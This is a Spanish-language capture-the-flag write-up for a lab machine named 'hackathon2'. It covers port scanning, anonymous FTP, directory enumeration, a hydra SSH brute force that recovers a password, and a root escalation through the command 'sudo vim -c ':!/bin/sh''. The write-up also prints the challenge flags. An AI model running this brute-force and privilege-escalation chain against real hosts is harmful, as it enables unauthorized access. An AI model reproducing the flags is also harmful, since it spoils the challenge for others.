Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 12:36 EDT
Nmap scan report for 192.168.5.139
Host is up (0.00038s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.5.129
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1000     1000           47 Jun 18  2021 flag1.txt
|_-rw-r--r--    1 1000     1000          849 Jun 19  2021 word.dir
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: hackathon2
| http-robots.txt: 1 disallowed entry
|_*/
7223/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 70:4a:a9:69:c2:d1:68:23:86:bd:85:83:31:ca:80:0c (RSA)
|   256 a6:9e:a4:18:ad:a4:2b:7e:ea:f8:5e:63:29:6e:4f:24 (ECDSA)
|_  256 4e:db:a6:d2:eb:b9:53:a5:d7:21:0b:4e:57:a5:f5:c1 (ED25519)
MAC Address: 00:0C:29:4B:DF:FF (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.38 ms 192.168.5.139

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
```

ftp

```
ftp anonymous@<IP>
```

Habra 2 archivos que nos descargamos...

```
get flag1.txt

get word.dir
```

Dentro de los archivos...

```
#flag1.txt
ftA¢{7e3c118631b68d159d9399bda66fc684}
#word.dir
happy
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
000000
michelle
tigger
test123
sunshine
chocolate
password1
soccer
anthony
friends
butterfly
purple
angel
jordan
liverpool
justin
loveme
fuckyou
```

123123
football
secret
andrea
carlos
jennifer
joshua
tiago
TIAGo
Ti@gO
bubbles
1234567890
superman
hannah
amanda
loveyou
pretty
basketball
andrew
angels
tweety
flower
playboy
hello
elizabeth
hottie
tinkerbell
charlie
samantha
barbie
h@ckmE
chelsea
lovers
teamo
jasmine
brandon
666666
shadow
melissa
eminem
matthew
robert
danielle
forever
family
jonathan
987654321
computer
whatever
dragon
vanessa
cookie
naruto
summer
sweety

```
spongebob
joseph
junior
rootnik
softball
taylor
yellow
daniela
lauren
```

flag1.txt (flag1)

```
FLAG{7e3c118631b68d159d9399bda66fc684}
```

Por lo que se ve es una especie de diccionario de `passwords` el archivo llamado `word.dir`...

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST>
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.139/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/happy                (Status: 200) [Size: 110]
/robots.txt           (Status: 200) [Size: 70]
/server-status        (Status: 403) [Size: 278]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Si nos vamos a la ubicacion de `/happy/` veremos una pagina en la que aparentemente no hay nada, pero si inspeccionamos el codigo...

```
<!-- username: hackathonll >
```

Vemos que nos muestra un `user` por lo que tiraremos un `hydra` con el diccionario que nos proporcionaron en el `ftp`...

```
hydra -l hackathonll -P word.dir ssh://<IP>:7223/ -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-24 12:45:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 110 login tries (l:1/p:110), ~2
tries per task
[DATA] attacking ssh://192.168.5.139:7223/
[7223][ssh] host: 192.168.5.139   login: hackathonll   password: Ti@gO
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 21 final worker threads did not complete until
end.
[ERROR] 21 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-24 12:45:23
```

Veremos que las credenciales para conectarnos por `ssh` seran...

```
User = hackathonll
Password = Ti@gO
```

Por lo que nos conectamos por `ssh`...

```
ssh hackathonll@<IP>
```

Si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for hackathonll on hackathon:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User hackathonll may run the following commands on hackathon:
    (root) NOPASSWD: /usr/bin/vim
```

Por lo que seremos `root` haciendo lo siguiente...

```
sudo vim -c ':!/bin/sh'
```

Y una vez siendo `root` leemos la flag de su `/home/`...

flag2.txt (flag2)

```
F{7e3c118631b68d159d9399bda66fc694}
```